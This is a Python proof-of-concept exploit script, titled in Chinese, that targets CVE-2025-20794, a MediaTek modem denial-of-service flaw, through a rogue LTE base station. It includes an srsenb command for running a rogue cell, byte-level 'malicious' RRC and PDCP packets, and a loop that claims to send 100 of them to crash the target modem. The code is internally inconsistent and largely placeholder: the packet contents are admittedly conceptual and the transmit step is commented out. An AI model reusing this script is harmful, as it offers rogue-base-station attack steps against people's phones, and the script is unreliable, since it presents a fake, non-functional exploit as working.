CVE-2025-20794: MediaTek Modem输入验证错误导致远程拒绝服务

# CVE-2025-20794 PoC - MediaTek Modem DoS via Rogue Base Station # This PoC demonstrates the concept of exploiting input validation issues in Modem # Requires: srsLTE or similar SDR framework import socket import struct import sys def create_malicious_lte_packet(): """ Create a malicious LTE RRC Connection Setup message that triggers input validation error in MediaTek Modem """ # LTE RRC Message Type: ConnectionSetup (3) rrc_message_type = 0x03 # Malformed IE with invalid length causing validation bypass # This is a conceptual representation malformed_ie = bytes([ 0x00, 0x7F, # Invalid IEI and excessive length 0x41, 0x42, 0x43, 0x44, # Padding data 0xFF, 0xFF, 0xFF, 0xFF, # Trigger condition ]) # Construct RRC Connection Setup Complete packet = bytes([ 0x00, # RRC Transaction Identifier rrc_message_type, 0x00, 0x01, # Message length ]) + malformed_ie return packet def setup_rogue_base_station(): """ Simulate setting up a rogue base station using SDR In real scenario, use srsLTE/srsRAN with following config: $ sudo ./srsenb/src/srsenb --config.enb.mcc=001 --config.enb.mnc=01 --config.enb.n_prb=50 --config.enb.cell_id=0xABCDEF """ print("[*] Setting up rogue base station for CVE-2025-20794...") print("[*] Target: MediaTek Modem with unpatched firmware") print("[*] Broadcasting on LTE Band 3 (1800 MHz)...") return True def send_malicious_pdu(): """ Send malicious PDCP/RLC packets to trigger Modem crash The packet structure exploits input validation vulnerability """ packet = create_malicious_lte_packet() # PDCP header with malformed control field pdcp_header = bytes([ 0x00, # PDCP data/control indication 0x0F, # Invalid SN and flags ]) return pdcp_header + packet def exploit(): """ Main exploit function This PoC requires proper SDR hardware and LTE stack implementation """ print("[+] CVE-2025-20794 MediaTek Modem Input Validation DoS") print("[+] CVSS: 6.5 (Medium)") setup_rogue_base_station() # Generate malicious packets for i in range(100): packet = send_malicious_pdu() print(f"[*] Sending malicious packet {i+1}/100...") # In real implementation, transmit via SDR # sdr.send(packet) print("[+] Exploit sent. Target Modem should crash/reboot.") print("[*] Note: This PoC is for educational purposes only.") if __name__ == "__main__": print("CVE-2025-20794 PoC - MediaTek Modem DoS via Input Validation Error") print("Requires: SDR hardware (USRP/B200), srsLTE/srsRAN framework") print("-" * 60) # Note: Actual exploitation requires SDR hardware and LTE stack print("[!] Full exploit requires specialized RF equipment")